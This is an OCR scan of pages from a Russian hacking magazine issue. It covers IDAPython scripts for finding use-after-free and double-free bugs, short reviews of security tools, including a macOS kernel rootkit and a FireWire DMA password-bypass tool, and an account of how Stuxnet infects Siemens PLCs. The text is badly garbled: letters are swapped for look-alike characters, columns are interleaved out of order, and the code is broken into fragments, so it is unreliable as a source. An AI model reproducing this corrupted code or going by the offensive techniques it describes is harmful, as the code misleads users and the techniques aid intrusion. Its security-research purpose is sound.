0тсутствие проверки значения, возвращаемого функцией выделения памяти, часто служит причиной захвата потока управления дефектной программы, В Windows существует несколько различных функциЙ выделения памяти. Из них в usег mode - LocalAlloc, SуsАllосStгiпg, геаllос и в kегпеl mode ExAllocatePoolWithTag. Также присутствует множество оберток функци й, выделяющих память, наподобие МlDL_usег_аllосаtе. В примере ниже значение, отданное LocalA|loc [в регистре еах) без проверки, служит аргументом для функции NtAdjustPгivile9esToken.
push push mоч са11 lea push push push mоv push push push са11
maths=['inc'r'add'r'mul','imul'r'lea'r'movsx', е
'dec','sub','shl','shг'
; Colas}]leпAlloc(x)
еах еЬх
; ;
uBytes uFlаg5 [еЬр+агg_4], еах ds : LocalA1loc (х, х)
есх, Iebp+uBytes] есх
еах
j
а11 input апе eviI!
[еЬр+апg_4] Iebp+hМem], еах [еЬр+чаг_4] еЬх Iebp+van_8]
edi ; NtAdjustPгivilegesToken(x,x,x,x,x,x)
Задача автоматического анализа этого паттерна сводится к проверке, является ли регистр еах 0перандOм инструкции сравнения (cmp, test). В этом случае будет ясно, что возвращаемое значение сравнивается с нулем. Код, выполняющий эту нехитрую задачу:
tests=['cmp','test'] fоr step iп гапgе(5):
гst ( еа ) SеtСоlог ( еа, CIC_ITEM, 0хсЬе4е4) ea=Rfi
if
GetMnem(ea)
if
in tests:
Getopnd(ea,0)=='eax' ог GetOpnd(ea,1)=='eax', Ьпеаk
ргiпt 'Nо check геtuгп value at addness',hex(ea)
Step=+1
0тправной точкой для анализа вышеописанных паттернов уязвимостей служит, конечно же, одна из функций выделения памяти. !ля примера ниже приведен код, обходящий всю базу lDA в поисках вызовов malloc:
взлом ]nou еах, tebp+ptгI еах ; lleior9 рчSh call dS:frcc пdd eSP, { спр eSl, csP call uпkопоuп llbnare_1: ]llcrosoft
ptr = (сhаr
*) malloc((size*4*sizeof(buf)*4)*2); func2 (buf,ptr);
}
UlsцаlС Z-э/ае1 rчпtlпе
int func2(char *buf, char *ptr) l
ос_{0
nou csl, esp поU еах, tсЬр+рtr] push сах ;ПЁпоr9 calI ds:fp66 add csp, { спр esl, esp call чпLпоuп_llЬпапс_1 : пtсrоsоft поU esl, esp поч еах, [ebp+ptrl
;
UlsuaIC Z-!/nel
rчпtlпе
Рис. 5. Указатель ptr используется в качестве аргуtlента к frее дваlкды
Рис. 4. Указатель на освобожденную па1,1ять рtr читается в регистр еах
fог seg_ea ln Segments(): fог еа in Heads(seg_ea, SegEnd(seg_ea)): if 1sCode(GetFlags(ea) ) if GetМnem(ea) == "са11", if ге.mаtсh(' .*ma1loc.*',GetOpnd(ea,0)) :
а1
lox . append
(
:
еа )
0писанный тип уязвимости является логической ошибкой и присутствует в каждOм языке. Итак, векторы исследований от аллокаторов направлены вверх и вниз в поисках арифметики и проверки на нуль. Перейдем к уязвимостям, связанным с функциями освобождения памяти.
-
PRAY-AFTER-FREE
-
Usе-аftег-fгее весьма распространенный баг, сущность которого кроется в самом названии использование после освобождения. Возникает вследствие некорректных операциЙ программы с указателем [как и в случае с double fгее), В последнее время этот вид уязвиN4остеЙ в адвизори-лентах светится все чаще - CVE2012-0469, CVE-20]2-1529, CVE-2012-]889. Идея эксплуатации этого бага состоит в том, чтобы после освобождения объекта в памяти заставить программу выделить фейковый кусок памяти [или переполнить буфер), а затем программа сама (использует> объект (на благо атакующего). Эксплуатация этого типа уязвимостей выпOлняется пOсредствOм техники распрыскивания кучи, кOтOрая и создаст подложный объект. Этого пациента можно идентифицировать через проверку доступа к указателю после освобождения. Трассировка <вниз) позволяет локализOвать места доступа к указател ю. Взглянем на иллюстрацию, представленную на рисунке 4. Здесь lйы видим, что указатель на освобожденную память рtг читается в регистр еах. Такого рода ситуации обнаруживаются следующим кодом:
-
возникает при попытке освободить тот фрагмент памяти, который система уже считает освобожденным. Уязвимость класса double fгее так же, как и usе-аftег-fгее, используется для манипуляций с метаданными кучи. Пресловутый указатель рtг используется в качестве аргумента к fгее дважды. Приведенный выше пример из lDA является результатом простого С-кода, представленного на рисунке 5. В дебрях ассемблера поиск потенциально дважды освобожденнOг0 свOдится к пOиску указателя, пOвтOрн0 испOльзуемOг0 в качестве аргумента. 0тправная и конечная тOчка поиска - вызов fгее, 0бъект трассировки указатель. Различия в количе(освободителей> стве параметров у разных типа НеарFгее, frее, ViгtuаlFгее в плане идентификации указателя функции легко решаются - пDосто от начала вызова ищется определенный push. Задача идентификации оuибки повторного освобождения памяти, на первый взгляд, простая. Но ограничение статического анализа пороЙ состоит в невозможности найти родительскую функцию [в случае с виртуальными функциямиl. Все же этот вид уязвимости можно локализовать с помощью приведенного ниже кода. Смысл его - двигаясь от вызова fгее вверх, искать другой вызов функции освобождения, чтобы сравнить указатель с трассируемым.
# Пропасть вводит IDA в бесконечный цикл еа ! =0хFFFFFFtF: # Красиlч путь
while
SetCo1o
rst
(
(
еа,
1 ) ==t
гасеча1
"mау Ье used
рчSh поU sцЬ рчsh рцsh рцsh пlоu
еЬр
еЬр, týр
esp, ЕЬх
OCOh
eSi edi, [еЬр*цар_С0I есх, зоh еах, 0cccccccch rер stosd
:
аftег fгее",tпасечаl,hех(еа)
0шибка double fгее подобна usе-аftег-fгее тем, что после освобождения определенного фрагмента памяти также пытается испOльзOвать указател ь,
поU eýi, esp поU еах, [ebp+ptrl рцsh Еах ;}lепоrg
0свOБOдить 0свOБOждЕннOг0 Читатель, исследующий бинарный код, уже отметил, что на иллюстрации также присутствует уязвимость dоuЬlе-fгее - повторное освобождение памяти [gоо.gV9z5Flэ), Уязвимость подобного рода
)
uаr_со= Ьцtе ptr -OCOh ptr= dшоrd рtr Och
еа )
ргiпt
еа, CIC*ITEM, 0xe5f3ff
; int_edecl fцпсZ(iпt, uoid *ptr)
SеtСоlоп ( еа, CIC_ITEM, Oxcbe4e4 ) # Кто-нибудь использует трассируемое значение? if GetOpnd(ea,0)==tгacevaI ог е
Getopnd
(
fцпсZ рrос пеаr
еа ! =0хFFFFFFFF:
ea=Rfi
г
# Получить ссылку ea=RfiгstB(ea)
# Пока не встретилась пропасть
while
{
free (ptr) ; free (ptr) ;//освободить освобождевного printf ( "8р", ptr) / /чление указаtrеля
1{h
1
call Рис.
6.
ds:fjgg
Функция fчпс2 собственной персоной
хдкЕр 12l1b7l2012
Наказуемая беспечность
]tоч ]lоU push lea push Eall Рис.
7.
tеЪр+рtrl, Gах EflXr [ebp+ptrl
0шиБки пOвтOрнOг0 0свOБождЕния пАрlяти гOрАзд0 прощЕ нАхOдить
Еах ;ptr ttrх, [еЬр+цаr_lС] ttrх ; lnt шrаррЕr_fчпсZ
ДИ НАМ ИЧ ЕС КИ
Враппер, вызываюtций функцию fчпс2
# Проверка: были ли мы тут if GеtСоlоп(еа,СIС*IТЕМ)==0хеSfЗff Ьгеаk # Ищем вызов fгее
if
GetМnem(ea)=='са11
if 'fгее' in fог
'
:
,
GetOpnd(ea,0): step in папgе(5): ea=Rfi гstВ ( еа ) SetcoIon (еа, CIC_ITEM, 0хсЬе4е4) if GetМnem(ea)==' push' : # В переменную операнд push'a val=GetOpnd (еа, step=a1
# пять шагов на поиск возможного источника fог step in гапgе(5): еа=RfiгstВ(еа) SеtСоlог(еа, СIС_IТЕМ, 0хсЬе4е4) GetМnem(ea)==' gоч', val=GetOpnd (еа,1 )
Ьгеаk
step=a1 # Ключевая проверка
if
Говоря простым языком, межпроцедурный анализ тOт анализ, который на основе исследования входных и выходных данных подпрограмм рисует картину взаимодействия между функциями. На рисунке б мы видим функцию func2, где один из аргументов указатель рtг. Вызывается эта функция из листинга, представленного на рисунке 7. Согласно конвенции вызовов stdcall, рtг попадает в fuпс2 через стек с помощью второго снизу рush'а.,Щотянуться до трассируемого значения межпроцедурно в данном случае очень просто. Ступени к победе таковы: 'l. Найтитрассируемого вфреймефункции.Тоестьвычислитьположение аргумента (относительно других аргументов. переменных) в стековом фрейме функции fuпс2 [вызываемой функции}. !ля примера приведу код, выводящий на экран содержимое фрейма функции:
ргiпt 'double fгее',
hex(ea)
# Получаем фрейм функции stack_fгame = GetFгame(get_scneen_ea( # Запрашиваем размер
При глобальном анализе, по всей базе дизассемблера lDA (idbфайлу), целесообразно после работы с функцией освOбождения памяти перекрашивать за собой пройденный окрашенный путь, поскольку алгоритм построен так, что анализирующие функции используют покраску, чтобы не попасть в бесконечный цикл. Чистильщик представлен ниже:
stk_чагs=
stack*var = GetMembeгName(stack_fname,
if
SеtСоlог(еа, CIC_ITEM, 0хFFFFFFFF
while еа!=0хFFFFFFFF:
%s
"
% (stack_van)
# Вывод результата
гStВ ( еа ) # Вы еще не отбелились? if GеtСоlоп(еа, CIC_ITEM)
fог чаг iп stk_vans: ргlпt "stасk чаr:",чап
ea=Rfi
к
!
=0хFFFFFFFF
2. Найтипутьнаверх.Тоестьс
:
вам
SеtСоlог(еа, cIc_ITEM, 0хFFFFFFFF
# Иначе уходим
З
)
:
# Идем вниз downea=Rfirst (dоwпеа ) # Аналогично if GetColoг(downea, CIC_ITEM)
!
=0хFFFFFFFF
SеtСоlог(dоwпеа, cIс_ITEM, 0хtFFFFFFt
:
)
помощью перекрестныхссылок
най-
ти, какая функция вызываеттекущую.
Найтитрассируемоговпрошлойжизнипредыдущейфункции [в
eIse:
12116712012
рriпt " Stack VапiаЬlе:
frаmе_сочпtег)
stk_vaгs. append ( stack_van) fгаmе_соuпtег += 1
)
# Идем вверх
хдкЕр
stack_vaг!=None:
# Сохраняем имена
# 0беление
Ьгеа k
< fгаmе_sizе:
# Перебираем имена переменных
downea=ea
else:
[]
while fпаmе_сочпtег
# Бэкапим адрес
Ьгеа k downea !=0хFFFFFFFF
))
fгаmе_sizе = GetStrucSize(stack_fгame) # Массив для работы с содерхимым фрейма
def Сlеапеr(еа):
whlle
},l
На практике ошибки повторного освобождения памяти гораздо проще находить динамическим анализом. !ело в том, что между вызовами функций fгее, как правило, находится не десяток инструкций, а множество функций. Поэтому статический анализ здесь эффективно использовать лишь вместе с межпроцедурным
ча1==tгасеча1:
# Тогда мы идем
АНАЛ И30
-
0)
Ьгеа k
if
].,l
примере рtг был регистром eaxl.
Перед реализацией этих шагов стоит почитать пост автора lDA Рго о межпроцедурном анализе через анализ стековых переменных (www.hexblog.com/?p=42). 0тмечу, что у скрипта, который ты найдешь на прилагаемом к журналу диске, помимо отсутствия взаимодействия меж функциями, существуют следующие ограничения: неполный охват кода, отсутствие проверки операций с указателем (в деле поиска ошибок double frее), работа с ограниченным количеством представителей семейств функций выделения и освобождения памяти [malloc и fгееl. На этом всё. Удачи! Т
взлоi,l
днитрий (01
g'l D
Евдокиttов, Digital Security ltwitteг,com/evdokimovds]
пl-птттп Вся информация предоставлена исключптельн0 в 0знак0llительных целях. Ни редакция, ни автOр не несут 0т-
ветственности за любой возмоlкный
оо
сOотдля взлOмА АвтOр: Rоп Bowes URL: h!:ps ]g thuL..!]]]]]r
АнАлизА БЕ3OпАснOсти
и
Авторы: James Fогshаw,
.*- *" 1.* р _."нБ
l!].i!]!8al' I q]9|_ e /ile [d c Система: Lin u x/Wind ows
HASH EXTENDER Есть такой классический тип атак - Hash length extension. Уязвимы к ней многие распрOстраненные хеш-алгоритмы - и MD5, и SHA-1. Если точнее те, что основываются на структуре Меркла -,Щамгарда. ,Щанная атака пOзвOляет сгенерирOвать кOрректное хеш-значение для удлиненнOг0 исхOдного сообщения. Точнее, если мы знаем значение хеша от строки lsecгetkey+data], знаем значение data, но не знаем значение Sесгеtkеу, то мы все равн0 lиOжем сгенерирOвать хеш для изначальной строки и нашей строки. То есть Н
{sec геtkеу+d
а
ta+a рре
п
data
Суть атаки заключается
).
том, что мы можем привести в правильную форму изначальные данные (добавив padding, длину строки, произведя конвертациюl, добавить наши данные и как бы <продолжить) хеш-функцию с известной позиции изначального значения хеша. с hash_extendeг мы имеем возможность получить итоговый хеш в пару кликов. Oтметим следующие особенности софтины: в
-
.
. . 084
всеосновныехеш-функции-МD4/5,
RlPEM D-] 60, SНДl -1 l -2561-51 2, Whiгlрооl; генерация хешей для диапазона длин секретной строки, чтоудобно, когда она неизвестна и требуется перебирать возмOжные значения; разнообразные варианты ввода и вывода данных.
lйiсhае|.Jогdоп URL: ] !t] leI : j.i...!]]r] !е а:a h] tO Q l]'!j]
Автор: саrstеп Мааrtmапп
i::к=ф
Мое URL: ! i [,llL.i]t ]r !]
.; г
Система: Windows
1
]]I
i
р
a
л 1
CANAPE
- это инструмент для тестирования работы любых сетевых протоколов, но наи-
Сапаре
более полезен он при работе с бинарными п
рOт0 кOл
вред, при-
чиненный материалами данной статьи.
ам
и.
Программа имеет встроенный функционал, реализующий стандартные сетевые прокси, и предOставляет вOзмOжнOсть захватывать и модифицировать трафик от сервера и к серверу. Ядро данного инструмента может быть расширен0 с пOмOщью мнOжества языкOв пр0граммирования, включая С# и Python, для парсинга любого протокола с учетом необходимых требований прокси и модификации данных. Программа работает на сетевом уровне и поддерживает ТСР- и UDР-соединения через рOгt fогwагdiп9 или реализацию SOCKS- или НТТР-прокси. Так что инструмент не захватывает данные на Еthегпеt-, lР- или ТСР-уровне напрямую. Главное, что дает инструмент человеку, тестирующему новый неизвестный бинарный протокол, сводит к минимуму усилия для его эффективного тестирования. Можно как очень быстро написать фаззер для поиска различных переполнений, так и просто производить МlТМ-атаки. Также из особенностей инструмента можно выделить построение модели состояний протокола, которая отображается в виде графа состояний. Инструмент был впервые представлен на Black Hat Еuгоре 201 2.
-
!]-'
!]!!;.iai;,'ni_tp:.l Система: Lin
u
х/lйас
л J 0ТМЕНЯЕМ ГРАНИЦЫ ДOСТУПА
lnception предоставляет стабильный и простой путь для выполнения различных хаков с памятью на включенных машинах, испOльзующих lEEE 1З94 SBP-2 DMA. Инструмент может разблокировать и поднять привилегии до Local Дdmiпistгаtог / гооt на почти любой машине с интерфейсом FiгеWiге, к которому есть физический доступ. В первую очередь lnception предназначен для атак прOтив кOмпьютерOв, кOтOрые используют полное шифрование дисков, такое как ВitLосkег, FileVault, ТгuеСгурt или Pointsec Также инструмент будет полезен для специалистOв п0 реагирOваниlю на инциденты и цифровой экспертизы, когда они сталкиваются с включенной машиной. Благодаря DMA происходит поиск по всем дOступным страницам памяти сигнатур п0 0пределенным смещениям в мOдулях парольной аутентификации операционной системы. После того как найден нужный участок кода, инструмент помогает обойти код, ответственный за неправильный ввод пароля. В итоге любой введенный пароль будет правильным. При этом исправление в памяти будет не постоянным, и после перезагрузки все вернется к нормальной работе парольного функционала, что теоретически пOзвOляет атакующему 0статься практиески незамеченным.
хлкЕр 12l167l2012
7
утилит для исследования безопасности
ПРИШЕЛЕЦ АТАКУЕТ Nikto - это сканер веб-серверов с открытым исходным кодом, который производит кOмплексное тестирование веб-серверов п0 мнOгOчисленным пунктам, включая проверки на более 6500 потенциально опасных сценариев, прOверки на устаревшие версии для более 1 250 серверов и специфические проблемы [270), Программа также проверяет конфигурацию элементOв сервера, например наличие множественной индексации файлов, НТТР-опции сервера и попытки идентифицировать установленные ве6-службы и программное обеспечение на сервере, Полноценная поддержка прокси (с возможностью авторизацииit при правильном подходе обеспечит тебе безопасность. Правда, 0 незаметном сканировании придется забыть. С самого начала разработчики сделали упор на скOрOсть скана, не замOрачиваясь по поводу stealth-методов,
открытом доступе. RuЬilуп ликвидирует пробел это kегпеl-руткит для Мас 0S Х 64bit. В своей работе руткит не использует никаких захардкOженных адресOв для перехвата функций в ВSD-подсистеме, а скрывает свою активность с помощью syscall hooking и DKOM. Все успешно работает и протестировано на 0S Х Lion и более младших версиях. lt4ожно выделить следующие возможности в
-
. . .
рут
ки
та:
наличие консольного интерфейса; выдача гооt-привилегий по PlD; скрытие файлов и папок; скрытие прOцессOв;
. . скрытие пользователя OTWho/W; . скрытие сетевых пOртов от netstaU . SуSсtl-интерфеЙсдля взаимодеЙствия
.
uSегlапd; выполнение бинарников с гооtпривилегиями через magic lCMP ping,
с
В грейтсах к этому полезному творению можно заметить хорошо известных в мире яблочной
безопасности личностей: #пullsесuгitу сгеw, sпаге, dino, пеmо, piot1 а также thegrugq, недавно посетившего конференцию zeгoNights, пOсвященную техническим аспектам информационной безопасности.
хлкЕр
12
l1ыl2а12
u
х
техники уменьшения кOличества ложных срабатываний; интерактивный статус, пауза и изменение настрOек детализации;
сохра нен ие запроса/ответа для
успешныхтестOв; пOвтOр сOхраненных успешных тестOв; автопауза по таймеру; вход в Metasploit,
Автор:
Автор: SiRA Team
Stерhеп Fеwег URL: ''l1p: _ 1.,l1|;1 111, : i,] j,1.1 ,],,,, ,, i] г].
URL: i :".]'
Система: Linux
Систеtlа: Windows
t 9
1 а вот под Мас 0S Х днем с огнем не сыщешь
Система: Wind ows/Lin
.
prdelka URL: ll.]]:t]!!l 1, I],]]1 l]al kt]!aI :liJ] Система: Мас
ПРЯЧЕМСЯ В ЯБЛOКЕ
David Lodge URL: l"]/rц:L i1 ai.I]/
.
Автор:
Руткитов под Windows и Linux пруд пруди,
Авторы: сhris sullo,
С другой стороны, ядро Nikto составляет известная библиотека LiЬWhiskег, у которой в арсенале есть несколько методик для обмана lDS. 0сновные особенности: поддержка SSL и НТТР ргоху; . прOверки наустаревшие компOненты сервера; . сохранение отчетов в рlаiп text, XML, HTML, NBE или CSV; движок шаблонов отчетов; сканирOвание мнOжества пOртOв на сервере или множества серверOв; LibWhiskeг's lDS методы кодирования; определение установленного П0 через заголовки, favicons и файлы; хост-аутентификация с Basic и NTLM; 0тгады вание пOддоменOв; определение пол ьзователей в Apache и сgiwrар; настройка проверяемых групп уязвимостей;
6
гOтOвимся к PWN2OWN
-
Gгiпdег полноценная платформа для автоматического фаззинга веб-браузеров от одного из победителей Pwn2Own 20]] (за взлом lпtегпеt Ехрlогег 8 на 64-bit Windows 7 tSP1]). Помимо фаззинга, система имеет впечатляющий функционал, отвечающий за управление большим количеством падений бедных браузеров. Платформа состоит из двух основных компонентов: Gгiпdег-нод и Gгiпdег-сервера. Gгiпdег-ноды отвечают за непосредственную автоматизацию фаззинга, генерирование полезной информации о падении, которая способна дать представление о его причине, вOзмOжнOсть вOспрOизвести падение в дальнейшем и представление о возможности эксплуатации данного случая. Нода отвечает за фаззинг одного из поддерживаемых веббраузеров: Сhгоmе, Fiгеfох, lпtегпеt Ехрlоге1 Sаfагi. 0дновременно можно запустить огромнOе кOличеств0 различн0 настрOенных нод. Gгiпdег-сервер представляет собой централизOванное хранилище, в котором собирает все падения и информацию о них со всех работающих Gгiпdег-нод. Сервер имеет веб-интерфейс и прOдвинутую мнOгOпOльзOвательскую систему. Единственное, что остается сделать, так это написать свой алгоритм фаззинга и вставить его в Gгiпdег. Естественно, автор тулзы их не выложил в pubiic, но оставил пример их написания для системы.
-
мЕтOдичныЙ пOдхOд к l0S APPS
SiRA (Semi-automated iOS Rapid Assessment] это инструментдля оценки безопасности
-
iOS-приложений, который был представлен на Black Hat USA 2012. Программа состоит из двух частей: Liпuх-части, которая ставится на систему, и iOS-части, которая устанавливается прямо на.jаilЬгеаk'нутый iPhone. Не секрет, чт0 полностью автоматизирOвать анализ прилOжения с качественным выхOдным результатOм невOзмOжн0, и п0этому было решено автоматизировать все, чт0 мOжн0, а для тOг0, чт0 нельзя, сделать вспOмогательные инструменты, облегчающие их выпOлнение при ручнOм тестирOвании. Программа предоставляет такие возможности при ручнOм тестирOвании: создание снимка файловой системы;
. . . .
сравнениедвухснимковфайловойсистемы;
о
анализрасшифрованногоприложения.
. .
анализ снимка файловой системы; поиск снимка файловой системы; сOздание снимка экрана; получение и расшифровка iOS Keychain DB;
Также стоит выделить такой функционал, как СгuisеСопtгоl, которы й представляет собой пошаговый аудит для самых маленьких, шаг за шагом программа идет по всей разработанной методологии оценки безопасности приложений.
-
},lALUlrARE
Про безопасность промышленной автоматики в последнее время не говорит и не пишет только ленивый. главный виновник повышенного внимания к этой теме, конечно же, Rutkit.WinЗ2.Stuxnet.a. Мы тоже не остапр0немся в стOроне и пOсмOтрим, чт0 же эт0 такOе граммируемые логические контроллеры [а именно они являются низшим испOлнительным звеном в системах промышленной автоматики) и как на них можно вредоносно воздействовать.
Малварьдля
ч,
промьlшленнои автоматики и
ссл ЕдуЕ
},l
воз
},l
0жн 0сти
прOгрАммируЕмьlх ЛОГИЧЕСКИХ
кOнтрOллЕрOв с тOчки зрЕнпя врЕдOнOснOг0
кOдингА
Если говорить строго и хотя бы частично использовать научный подход, то программируемы й логически й контроллер есть программно управляемый дискретный автомат, имеющий некоторое количество входов с подключенными к ним датчиками, связанными с объектOм управления, и нескOльк0 выхOдOв, связанных с испол нительными устройствами объекта уп равления. Контроллер отслеживает состояния входов и в зависимOсти 0т их сOстOяния выпOлняет 0пределенную, программно заданную последовательность действий, изменяя сOстOяние выхOдOв. Впервые ПЛК были применены в 1969 году в США для автоматизации конвейерного сборочного производства в автомобильной промышленности. Сегодня ПЛК работают в энергетике, в области связи, в химической промышленности, в сфере добычи, транспортировки нефти и газа, в кOммунальном хозяйстве, да и вообще где угодно. На самом деле сфера применения ПЛК гораздо шире сферы применения персональных
Малварь для промышленной автоматики
Система прOграм}lирования и
отладки гlлк
Промышленная сеть l}.lodbus, РrоfiЬчs, САNореп локальная сеть
fu w
Простейчlая АСУ ТП
и i{ecтo ПЛК в этой
АРМ операторов Фсу тп систеrrе
вOспринимается как нечто само собой разумеющееся. .Що поры до времени вопросы информационной безопасности программируемых логических контроллеров и промышленной автоматики мало кого беспокоили,0но и понятно: асушники {в смысле люди, которые занимаются разработкой автоматизированных систем управленияl люди конструктивные. 0ни программируют разные АСУ ТП и SCADA, читают умные книги, придумывают всякие алгOритмы кOнтрOля
-
средственн0 с прOмышленными кOнтрOллерами от фирмы Siemens, встречается нечасто, ,Щумаю, на эту сторону вредоносной деятельности червя стоит обратить хотя бы немного внимания. Перед тем как начать излагать сrгь вопроса, необходимо слегка погрузиться в принципы программирования ПЛК Simatic 57. Вся программа в ПЛК делится на несколько блоков разных
ти пOв:
1.
0рганизационные блоки 0В, Выступают в качестве интерфейса между операционной системой и программой пользователя. Эти блоки вызываются операционной системой контрOллера и управляют ег0 пOведением при старте, циклическим выпOлнением программы, обработкой прерываний и обработкой ошибок, Например, блок 0B'l является основной точкой входа в программу ПЛК и выполняется циклически, а, скажем, блок 0В84 вызывается при возникновении ошибки в памяти операционной системы
2.
Функциональные блоки и функции FВ и FС. Испол ьзуются для построения программы из фун кционально законченных п роцедур или пOдпрOграмм с параметрами. Блоки данных DB. Назначение понятно из названия. Здесь хранятся константы и переменные, необходимые для выполнения прOграммы. Системные блокиданныхSDВ. В нихсодержится информация о конфигурации ПЛК.
и мOнитOринга технOлOгических прOцессOв, и им некогда заниматься всякой деструктивной
ерундой. Но, как говорится, в семье не без урода, и рано или поздно должны были появиться те, кто придумал и написал Stuxnet.
Как этот червь заражает компьютеры, какие уязвимости Windows использует в ходе своей вредоносной деятельности и даже кто и для чего ег0 придумал, написано уже немало. Если эта информация обошла тебя стороной, можешь, например, почитать статью Александра Матросова со товарищи <Stuxnet Uпdег the Мiсгоsсореr, кOтOрая лежит на диске, прилагающемся к этому номеру журнала. Вообще же Александру Матросову необходимо выразить большую благодарность, ибо без его помощи и содействия некоторые статьи могли бы и не появиться, 0днако, несмотря на большое количество различных описаний этого высокотехнологичного образца компьютерной заразы, информация о том, что же все-таки Stuxnet делает непо-
12/16712012
т.д.l
fu w
кOмпьютерOв, н0 как-т0 так пOлучилOсь, что их работа совсем не видна и большинством людей
хдкЕр
и
З.
4.
плк.
Содержимое блоков наполняется и программируется с пOмOщью специальнOг0 прOграммн0го обеспечения под названием Step 7 с использOванием различных языкOв, ориентирOванных
на прOграммирOвание
прOмышленнOй
автOмати-
ки [подробнее об этом во врезке]. Скомпилированный ассемблерный код, который называется МС7, загружается из компьютера в ПЛК, где запускается и выполняет свои функции (контро ль производственного цесса). В Step 7 связь компьютера с ПЛК организована при помощи библиотеки s7otbxdx.dll. п
ро
Например, когда из ПЛК необходимо считать какой-либо блок кода или данных, Step 7 вызывает из s7otbxdx.dll функцию s7Ьlk_геаd, которая считывает информацию из ПЛК и передает ее Step 7. Всего в этой библиотеке реализовано '] 09 различных функций для взаимодействия с ПЛК. При заражении компьютера с установленным на нем Step 7 Stuxnet подменяет оригинальный файл библиотеки s7otbxdx.dll своим, который он хранит в виде ресурсов в своем теле. При этом оригинальный файл также остается на компьютере жертвы, н0 уже в переименOваннOм виде: s7otbxsx.dll. В подмененном файле s7otbxdx. dll большинство [а если быть точным 9З) функций просто переадресуются на те же
-
ПЛК Simatic 57 серии 300
MALYVARE функции в оригинальном файле и выполняются как ни в чем не бывало, 0ставшиеся червь перехватывает своей подмененной библиотекой. Вот эти функции:
функции
S7_eVent s7ag_bub_cyc 1_геаd_с rеаtе s7ag*bu Ь_геаd_ча г 7ag_bu Ь_wгitе_ча г s7ag_l i nk_in
s
s7ag_гead_s
определенные идентификационные номера устройств, с которыми должен производиться обмен заражаемого ПЛК. Эти идентификационные нOмера назначаются всем прOизвOдителям оборудования ассоциацией РгоfiЬus & Ргоfiпеt lпtегпаtiопаl для каждого типа устройств. Своей целью Stuxnet выбирает устройства с идентификационными номерами 7050h и 9500h, назначенными частотным преобразователям, которые одна производятся двумя разными фирмами из них базируется в Иране, вторая в Финляндии 1частотные преобразователи используются для регулирOвки скOрOсти вращения валOв
йв
z1
S7ag_teSt
s7blk_delete s7blk_findfiгst
Ladder Logic Backdoors Fuzzing
Если подходящий для заражения контроллер
Basic
найден, то в первую очередь происходит перехват функционального блока DP_RECV, который
s7blk_wгite
s7db_open s 7ag_bu Ь_геаd_ча г_sеg
s7аg_ЬuЬ_wгitе_ча г_sеg
функций,
Контролируя выполнение этих Stuxnet способен модифицировать данные, посланные с компьютера на ПЛК и обратно, цировать ПЛК, внедряя в него свой вредоносный код или изменяя существующие блоки, а прятать внедренный в ПЛК вредоносный Заражение ПЛК начинается с ки блоков SDB. Щля заражения только определенные конфигурации, а кретно ПЛК типа бES7-31 5-2. Кроме в блоках SDB, конфигурирующих шину с внешними устрOйствами РгоfiЬus,
инфи-
также код. провервыбираются конэтого, обмена ищутся
-
Config
отвечает за обмен по шине РгоfiЬus. 0ригинальный блок DP_RECV копируется в созданный червем функциональный блок FС1 869, а на его
s7d Ь_с 1ose
Exhaustion Undoc Features
место пишется вредоносный код, и каждый раз, когда вызывается DP_RECV для чтения пакета из шины, этот вредоносный код берет на себя
N/A
Результаты исследований коi{пании Digital Вопd проекта Basecamp
управление, вызывает оригинальный блок и далее обрабатывает и фильтрует полученные пакеты от частотных преобразователей, Таким образом, можно запросто скрыть истинное состояние частотных преобразователей и показать оператору все что угодно. Помимо этого, Stuxnet 0В] заражает два организационных блока это и 0ВЗ5. Блок 0B'l, как мы уже говорили, основная точка входа в программу ПЛК. Блок 0ВЗ5 стандартный сторожевой блок, который выполняется системой каждые 100 мс. В нем
-
х х х х { { х х х х х х { { х { { х х N/A
Web
аси нхрон ных электродви гателей].
s7b1 k_fi nd next s7b1 k_геаd
х
Firmwаrе
-
@ lSELl Коуо
в
patlKax
обычно программируется мониторинг каких-нибудь критических входов с жестким временным граф
и
ко м.
flля инфицирования этих блоков использу-
ется метOд записи вредOнOснOг0 кOда в начал0 блока, Алгоритм заражения простой и аналогичен алгоритму, который применяется в файловых вирусах: сначала сOхраняется 0ригинальнOе содержимое блока, затем увеличивается размер
-
-
НА ЧЕМ ПРOГРАММИРУЮТ ПЛК Все, что касается языков програмlиирования для ПЛК, определено стандартом МЭК [lEC] 61'lЗl-З. В этот стандарт входят пять языков: . LD [Lаddег Diаgrаml вариант класса языков релейно-контактных схем. Графический язык, элементами которого являются контакты, катушки реле, вертикальные и горизонтальные соединения и другие элементы. FВD lFчпсtiоп Block Diаgгаm} аналогичен функциональной схеме электронного устройства. Графический язык высокого уровня, позволяющий управлять потоками данных разных типов и использовать большую библиотеку блоков, реализующих различные алгOритмы управления. SFC [Sequential Fчпсtiоп Сhагtl графический язык, аналогичный блок-схемам алгоритмов. Удобен для программирования как последовательных, так и параллельных прOцессOв. текстовый высокоуровневый язык, по синST lStrчсtчrеd Textl таксису напоминающий Паскаль. Код, написанный с его применением, хорошо структурирован и обладает отличной читабельностью, особенно если используются понятные имена переменных. lL llпstrчсtiоп Liýtl язык низкого уровня, аналогичный -текстовый ассемблеру. 0бычно используется для написания высокоэффективных и 0птимизированных участкOв кOда.
.
-
.
.
-
-
.
lEC 6'11Зl-З, помимо самих языков программирования ПЛК, определяет их синтаксис, вид объектов, структуру программы и объявления переменных.
Многие производители ПЛК выпускают собственные средства разработки програмлп для своих кOнтроллеров, соответствующие стандарту (например, Step 7 от Siemens, WPLSoft для ПЛК Delta или Concept от Sсhпеidег Еlесtгiс), однако существуют и универсальные средства разработки для Плк разных производителей [к примеру, один из широко распространенных пакетов CoDeSys от компании ЗS},
-
гr-
|oJrllr.]n? l d :гс E,IMPJ
g! |
РFб
| !|1 LЕ.д!FL!Fз ".u 1 ;,rrrлтг.яыl .гь, ,всl, ,urш
l
]
о
д
гr_г,лмгш
b.I.1 рвс I g (т: !мрц PFj | э
l l l l
сщ
щ 99 щ sщ щ
l l l
s*i.h]
sм.n]
s*il.п.
Ц"т
lP
-]l_=_-1"#l sfrI.n1l
-]l
5*пфlr
s*n.h]2
-l
]н
s*{in11
!яkna
stп.п]0
sлпф]
Гтсц
]l] rъ ,|1el\i2llfЁE,пlЕо
-Д
Код, написанный, вернее нарисованный :l, на яэыке LD в среде разработки CoDeSys
хлкЕр 12/167/2012
Малварь для промышленной автоматики
I
блока, далее в начало пишется вредоносный кOд, и дOписывается ранее сOхраненное ориги-
